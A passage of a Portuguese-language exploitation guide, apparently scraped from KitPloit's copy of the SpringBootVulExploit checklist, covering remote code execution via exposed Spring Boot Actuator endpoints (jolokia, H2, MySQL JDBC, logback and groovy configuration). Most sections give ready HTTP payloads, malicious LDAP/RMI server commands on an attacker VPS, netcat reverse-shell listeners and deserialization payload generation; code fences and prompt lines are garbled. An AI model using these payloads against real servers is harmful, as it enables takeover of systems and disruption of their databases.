    Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) otimizado para obter um reverse shell, `JNDIObject.java`,
    
    Compile de forma compatível com versões antigas do JDK:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site mencionado na Etapa 2.

    Etapa 4: Configurar o serviço LDAP malicioso

    Baixe o marshalsec e use o comando abaixo para configurar o serviço LDAP correspondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

    root@kitploit:~
    ##### Etapa 5: Escute a porta do shell reverso
    
    Geralmente, use nc para escutar a porta, aguardando o shell reverso```bash
    nc -lv 443
    
    Passo seis: Carregar o arquivo de configuração de log a partir de um URL externo

    ⚠️ Se o alvo solicitar com sucesso o example.xml e o marshalsec também receber a solicitação do alvo, mas o alvo não solicitar o JNDIObject.class, provavelmente é porque a versão do jdk no ambiente alvo é muito alta, resultando na falha da exploração JNDI.

    Substitua pelo endereço IP real do seu VPS e acesse o URL para acionar a vulnerabilidade:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

    root@kitploit:~
    #### Princípio da Vulnerabilidade:
    
    1. Acessar diretamente a URL que pode acionar a vulnerabilidade equivale a invocar o método `reloadByURL` da classe `ch.qos.logback.classic.jmx.JMXConfigurator` via jolokia
    2. A máquina alvo solicita o URL do arquivo de configuração de log externo e obtém o conteúdo do arquivo xml malicioso
    3. A máquina alvo usa saxParser.parse para analisar o arquivo xml (isso leva à vulnerabilidade XXE)
    4. No arquivo xml, usa-se a tag `insertFormJNDI` da dependência `logback` para definir o endereço do servidor JNDI externo
    5. A máquina alvo solicita o servidor JNDI malicioso, resultando em injeção JNDI e causando uma vulnerabilidade RCE
    
    #### Análise da Vulnerabilidade:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    #### Ambiente da Vulnerabilidade:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Acesso normal:```
    http://127.0.0.1:9094/env
    

    0x05:jolokia Realm JNDI RCE

    Condições de Exploração:

    • Existem interfaces /jolokia ou /actuator/jolokia no site alvo
    • O alvo usa a dependência jolokia-core (requisitos de versão atualmente desconhecidos) e existem MBeans relacionados no ambiente
    • O alvo pode solicitar ao servidor do atacante (as solicitações podem sair para a rede externa)
    • A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u141/7u131/8u121(RMI), mas os ambientes relevantes podem contornar

    Método de Exploração:

    Passo 1: Verificar MBeans Existentes

    Acesse o endpoint /jolokia/list e verifique se as palavras-chave type=MBeanFactory e createJNDIRealm existem.

    Passo 2: Preparar o Código Java a ser Executado

    Escreva o código de exemplo Java otimizado para obter um shell reverso JNDIObject.java.

    Passo 3: Hospedar o Arquivo de Classe

    Inicie um servidor HTTP simples em uma máquina VPS que você controla, usando portas de serviço HTTP comuns (80, 443) sempre que possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Copie o arquivo de classe compilado na **etapa 2** para o diretório raiz do servidor HTTP.
    
    
    
    ##### Etapa 4: Configurar um serviço rmi malicioso
    
    Baixe o [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço rmi correspondente:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Etapa 5: Monitorar a porta para reverse shell

    Geralmente, usa-se o nc para escutar a porta e aguardar pelo reverse shell.```bash nc -lvp 443

    root@kitploit:~
    ##### Passo Seis: Enviar Payload Malicioso
    
    Modifique o endereço de destino, endereço RMI, porta e outras informações no script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) de acordo com a situação real e execute-o no servidor que você controla.
    
    
    
    #### Princípio da Vulnerabilidade:
    
    1. Use o jolokia para chamar createJNDIRealm para criar um JNDIRealm
    2. Defina o endereço connectionURL como o URL do Serviço RMI
    3. Defina contextFactory como RegistryContextFactory
    4. Pare o Realm
    5. Inicie o Realm para acionar a injeção JNDI no endereço RMI especificado, causando a vulnerabilidade RCE
    
    
    
    #### Análise da Vulnerabilidade:
    
    ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
    
    
    
    #### Ambiente da Vulnerabilidade:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Acesso normal:```
    http://127.0.0.1:9094/env
    

    0x06:restart h2 database query RCE

    Condições de exploração:

    • Pode fazer requisições POST para a interface /env do site alvo para definir propriedades
    • Pode fazer requisições POST para a interface /restart do site alvo para reiniciar a aplicação
    • Existe a dependência com.h2database.h2 (requisitos de versão ainda desconhecidos)

    Método de exploração:

    Passo 1: Definir a propriedade spring.datasource.hikari.connection-test-query

    ⚠️ O método 'T5' no payload abaixo precisa ser renomeado (ex: T6) após cada execução de comando para poder ser recriado e usado novamente, caso contrário a vulnerabilidade não será acionada na próxima reinicialização da aplicação.

    spring 1.x (execução de comando sem retorno)``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

    root@kitploit:~
    spring 2.x (executar comando sem eco)```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
    Passo 2: Reiniciar a aplicação

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Princípio da Vulnerabilidade:

    1. A propriedade spring.datasource.hikari.connection-test-query é definida como uma instrução SQL maliciosa CREATE ALIAS para criar uma função personalizada.
    2. Essa propriedade corresponde à configuração connectionTestQuery do pool de conexões HikariCP, que define a instrução SQL executada antes de estabelecer uma nova conexão com o banco de dados.
    3. O restart da aplicação estabelecerá novas conexões com o banco de dados.
    4. Se a função personalizada na instrução SQL ainda não tiver sido executada, ela será executada, causando uma vulnerabilidade de RCE.

    Análise da Vulnerabilidade:

    ​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

    Ambiente da Vulnerabilidade:

    repository/springboot-h2-database-rce

    Acesso normal:``` http://127.0.0.1:9096/actuator/env

    root@kitploit:~
    ### 0x07:h2 database console JNDI RCE
    
    #### Condições de exploração:
    
    - Dependência `com.h2database.h2` presente (versão necessária desconhecida por enquanto)
    - Configuração do Spring com console h2 ativado `spring.h2.console.enabled=true`
    - O alvo pode solicitar o servidor do atacante (solicitação pode acessar a rede externa)
    - Injeção JNDI é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (método LDAP)
    
    #### Método de exploração:
    
    ##### Passo 1: Acessar a rota para obter o jsessionid
    
    Acesse diretamente a rota padrão do console h2 `/h2-console` no alvo, o alvo redirecionará para a página `/h2-console/login.jsp?jsessionid=xxxxxx`, anote o valor real de `jsessionid=xxxxxx`.
    
    ##### Passo 2: Preparar o código Java a ser executado
    
    Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` otimizado para obter um reverse shell,
    
    compile usando um método compatível com versões mais baixas do JDK:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site na Etapa 2.

    Etapa 3: Hospedar o arquivo class

    Em sua própria máquina VPS controlada, inicie um servidor HTTP simples, use portas de serviço HTTP comuns (80, 443) se possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Copie os arquivos de classe compilados na **Etapa 2** para o diretório raiz do servidor HTTP.
    
    ##### Etapa 4: Configurar um serviço ldap malicioso
    
    Baixe [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço ldap correspondente:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Passo 5: Escutar a porta para shell reverso

    Geralmente, usa-se nc para escutar a porta, aguardando o shell reverso.```bash nc -lv 443

    root@kitploit:~
    ##### Passo 6: Enviar pacote para acionar injeção JNDI
    
    De acordo com a situação real, substitua `jsessionid=xxxxxx`, `www.example.com` e `ldap://your-vps-ip:1389/JNDIObject` nos dados abaixo.```bash
    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
    

    Análise de vulnerabilidade:

    ​ Spring Boot + Injeção JNDI do banco de dados H2

    Ambiente de vulnerabilidade:

    repository/springboot-h2-database-rce

    Acesso normal:``` http://127.0.0.1:9096/h2-console

    root@kitploit:~
    ### 0x08:mysql jdbc deserialization RCE
    
    #### Pré-requisitos:
    
    - Capacidade de enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
    - Capacidade de enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
    - Presença da dependência `mysql-connector-java` no ambiente alvo
    - O alvo deve ser capaz de fazer requisições ao servidor do atacante (requisições para a rede externa)
    
    #### Método de exploração:
    
    ##### Passo 1: Verificar dependências do ambiente
    
    Faça uma requisição GET para `/env` ou `/actuator/env`, pesquise pela palavra-chave `mysql-connector-java` nas variáveis de ambiente (classpath) e anote o número da versão (5.x ou 8.x);
    
    Procure e observe se há dependências comuns de gadgets de desserialização nas variáveis de ambiente, por exemplo `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc.;
    
    Pesquise pela palavra-chave `spring.datasource.url` e anote seu `value` para facilitar a restauração posterior do valor normal da URL JDBC.
    
    ##### Passo 2: Configurar um servidor MySQL malicioso rogue
    
    Execute o script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) no servidor que você controla e utilize o [ysoserial](https://github.com/frohoff/ysoserial) para personalizar o comando a ser executado:```bash
    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
    

    Gere o arquivo de payload de desserialização payload.ser no mesmo diretório do script, para uso pelo script.

    Etapa 3: Definir a propriedade spring.datasource.url

    ⚠️ Modificar esta propriedade fará com que todos os serviços normais de banco de dados do site fiquem temporariamente indisponíveis, causando impacto nos negócios. Por favor, opere com cuidado!

    Para a versão mysql-connector-java 5.x, defina o valor da propriedade como:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    root@kitploit:~
    Para a versão 8.x do mysql-connector-java, defina o **valor da propriedade** como:```
    jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
    

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.url=对应属性值

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.url","value":"对应属性值"}
    
    Passo Quatro: Atualizar Configuração

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    
    Passo 5: Acionar consulta ao banco de dados

    Tente acessar a interface de consulta ao banco de dados conhecida do site, por exemplo: /product/list, ou procure outras formas de acionar ativamente uma consulta ao banco de dados no site de origem, e então a vulnerabilidade será acionada.

    Passo 6: Restaurar a jdbc url normal

    Após concluir a exploração da vulnerabilidade de desserialização, utilize o método do Passo 3 para restaurar o valor value original de spring.datasource.url registrado no Passo 1.

    Princípio da vulnerabilidade:

    1. O atributo spring.datasource.url é definido como um endereço de url jdbc mysql malicioso externo.
    2. Após o refresh, um novo valor de atributo spring.datasource.url é definido.
    3. Quando o site realiza operações como consultas ao banco de dados, ele tenta usar a url jdbc mysql maliciosa para estabelecer uma nova conexão com o banco de dados.
    4. Então, o servidor mysql malicioso, na fase adequada do estabelecimento da conexão, retorna dados de payload de desserialização.
    5. O mysql-connector-java dependente do alvo desserializa o gadget configurado, causando uma vulnerabilidade RCE.

    Análise da vulnerabilidade:

    ​ New-Exploit-Technique-In-Java-Deserialization-Attack

    Ambiente da vulnerabilidade:

    É necessário configurar spring.datasource.url, spring.datasource.username e spring.datasource.password no application.properties para garantir a conexão normal com o banco de dados mysql; caso contrário, o programa apresentará erro e será encerrado na inicialização.

    repository/springboot-mysql-jdbc-rce

    Acesso normal:``` http://127.0.0.1:9097/actuator/env

    root@kitploit:~
    Após enviar o payload, a vulnerabilidade é acionada:```
    http://127.0.0.1:9097/product/list
    

    0x09:restart logging.config logback JNDI RCE

    Condições de exploração:

    • Pode fazer requisição POST para o endpoint /env do site alvo para definir propriedades
    • Pode fazer requisição POST para o endpoint /restart do site alvo para reiniciar a aplicação
    • A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mas ambientes relacionados podem ser contornados
    • ⚠️ O alvo pode fazer requisições ao servidor HTTP do atacante (requisição pode sair para a rede externa), caso contrário, o restart causará saída anormal do programa
    • ⚠️ Se o servidor HTTP retornar um arquivo com conteúdo XML malformado, isso causará saída anormal do programa
    • ⚠️ O objeto retornado pelo serviço JNDI precisa implementar a interface javax.naming.spi.ObjectFactory, caso contrário, causará saída anormal do programa

    Método de exploração:

    Passo 1: Hospedar arquivo xml

    Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) sempre que possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    No diretório raiz, coloque o arquivo `example.xml` (com extensão `xml`). O conteúdo real deve ser determinado de acordo com o serviço JNDI usado na etapa dois:```xml
    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
    
    Passo 2: Hospedar serviço LDAP malicioso e código

    Consulte o artigo, modifique o JNDIExploit e inicie (também pode usar outros métodos):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

    root@kitploit:~
    ##### Passo três: Definir a propriedade logging.config
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    logging.config=http://your-vps-ip/example.xml
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"logging.config","value":"http://your-vps-ip/example.xml"}

    root@kitploit:~
    ##### Passo 4: Reiniciar a aplicação
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Princípio da Vulnerabilidade:
    
    1. A máquina alvo define a URL do arquivo de configuração do logback através da propriedade `logging.config`
    2. Após reiniciar, o programa solicita o conteúdo do arquivo XML malicioso da URL
    3. A máquina alvo usa `saxParser.parse` para analisar o arquivo XML (o que causa a vulnerabilidade XXE)
    4. No arquivo XML, é utilizada a tag `insertFormJNDI` da dependência `logback`, configurando o endereço do servidor JNDI externo
    5. A máquina alvo solicita o servidor JNDI malicioso, causando injeção JNDI e resultando em vulnerabilidade RCE
    
    #### Análise da Vulnerabilidade:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    ​	https://landgrey.me/blog/21/
    
    #### Ambiente da Vulnerabilidade:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Acesso normal:```
    http://127.0.0.1:9098/actuator/env
    

    0x0A:restart logging.config groovy RCE

    Condições de exploração:

    • Pode fazer solicitação POST para a interface /env do site alvo para definir propriedades
    • Pode fazer solicitação POST para a interface /restart do site alvo para reiniciar a aplicação
    • ⚠️ O alvo deve poder fazer solicitações ao servidor HTTP do atacante (as requisições devem conseguir acessar a rede externa), caso contrário o restart causará uma saída anormal do programa
    • ⚠️ Se o servidor HTTP retornar um arquivo com sintaxe Groovy malformada, isso causará uma saída anormal do programa
    • ⚠️ O ambiente precisa ter a dependência Groovy, caso contrário causará uma saída anormal do programa

    Método de exploração:

    Passo 1: Hospedar o arquivo Groovy

    Em uma máquina VPS que você controla, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) se possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Coloque no diretório raiz um arquivo `example.groovy` terminado em `groovy`, com o conteúdo do código groovy a ser executado, por exemplo:```xml
    Runtime.getRuntime().exec("open -a Calculator")
    
    
    Passo 2: Definir a propriedade logging.config

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    logging.config=http://your-vps-ip/example.groovy

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    
    Passo 3: Reiniciar a aplicação

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Princípio da vulnerabilidade:

    1. A máquina alvo define o endereço URL do arquivo de configuração de log do Logback através da propriedade logging.config.
    2. Após a reinicialização, o programa solicitará o endereço URL definido.
    3. No arquivo de código ch.qos.logback.classic.util.ContextInitializer.java do componente logback-classic, a lógica verifica se a URL termina com groovy.
    4. Se a URL terminar com groovy, o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade de RCE.

    Ambiente de vulnerabilidade:

    repository/springboot-restart-rce

    Acesso normal:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    ### 0x0B: restart spring.main.sources groovy RCE
    
    #### Condições de exploração:
    
    - Pode fazer uma requisição POST para o endpoint `/env` do site alvo para definir propriedades
    - Pode fazer uma requisição POST para o endpoint `/restart` do site alvo para reiniciar a aplicação
    - ⚠️ O alvo deve poder fazer requisições ao servidor HTTP do atacante (as requisições devem sair para a rede externa), caso contrário, o restart fará com que o programa saia com erro
    - ⚠️ Se o servidor HTTP retornar um arquivo com sintaxe groovy malformada, o programa sairá com erro
    - ⚠️ É necessário que a dependência groovy exista no ambiente, caso contrário o programa sairá com erro
    
    #### Método de exploração:
    
    ##### Passo 1: Hospedar o arquivo groovy
    
    Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, utilizando de preferência portas comuns de serviços HTTP (80, 443)```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Coloque um arquivo example.groovy com a extensão .groovy no diretório raiz, cujo conteúdo é o código Groovy a ser executado, por exemplo:```xml Runtime.getRuntime().exec("open -a Calculator")

    root@kitploit:~
    ##### Passo 2: Definir a propriedade spring.main.sources
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.main.sources=http://your-vps-ip/example.groovy
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

    root@kitploit:~
    ##### Etapa três: Reiniciar aplicação
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Princípio da vulnerabilidade:
    
    1. A máquina alvo pode utilizar a propriedade spring.main.sources para definir o URL de fontes adicionais para criar o ApplicationContext.
    2. Após reiniciar a aplicação (restart), o programa solicita o URL definido.
    3. Na lógica do código do arquivo `org.springframework.boot.BeanDefinitionLoader.java` no componente `spring-boot`, é verificado se o URL termina com `.groovy`.
    4. Se o URL terminar com `.groovy`, então o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade RCE.
    
    #### Ambiente da vulnerabilidade:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Acesso normal:```
    http://127.0.0.1:9098/actuator/env
    

    0x0C:restart spring.datasource.data h2 database RCE

    Condições de Exploração:

    • Pode fazer requisições POST para o endpoint /env do site alvo para definir propriedades
    • Pode fazer requisições POST para o endpoint /restart do site alvo para reiniciar a aplicação
    • O ambiente precisa ter as dependências relacionadas a h2database e spring-boot-starter-data-jpa
    • ⚠️ O alvo deve ser capaz de requisitar o servidor HTTP do atacante (as requisições devem conseguir acessar a rede externa), caso contrário, o restart fará com que o programa saia com erro
    • ⚠️ Se o servidor HTTP retornar um arquivo contendo sintaxe SQL h2 malformada, fará com que o programa saia com erro

    Métodos de Exploração:

    Passo 1: Hospedar o arquivo sql

    Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Coloque um arquivo com qualquer nome no diretório raiz, cujo conteúdo seja o código h2 SQL a ser executado, por exemplo:
    
    > ⚠️ O método 'T5' no payload abaixo só pode ser executado uma vez por restart; nas próximas reinicializações, é necessário alterar o nome do método (por exemplo, T6) e definir um novo endereço de URL SQL, para que possa ser reutilizado pelo restart; caso contrário, na segunda reinicialização, ao reiniciar a aplicação, ocorrerá uma saída anormal do programa.```xml
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
    
    Passo 2: Configurar a propriedade spring.datasource.data

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.data=http://your-vps-ip/example.sql

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    
    Passo 3: Reiniciar a aplicação

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Princípio da vulnerabilidade:

    1. A máquina alvo pode definir o endereço URL do arquivo SQL DML jdbc através da propriedade spring.datasource.data
    2. Após reiniciar a aplicação, o programa solicitará o endereço URL definido
    3. Na lógica do código do arquivo org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java no componente spring-boot-autoconfigure, o método runScripts é usado para executar o código SQL do banco de dados h2 presente no conteúdo da URL solicitada, causando uma vulnerabilidade RCE

    Ambiente da vulnerabilidade:

    repository/springboot-restart-rce

    Acesso normal:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    Baixar ferramenta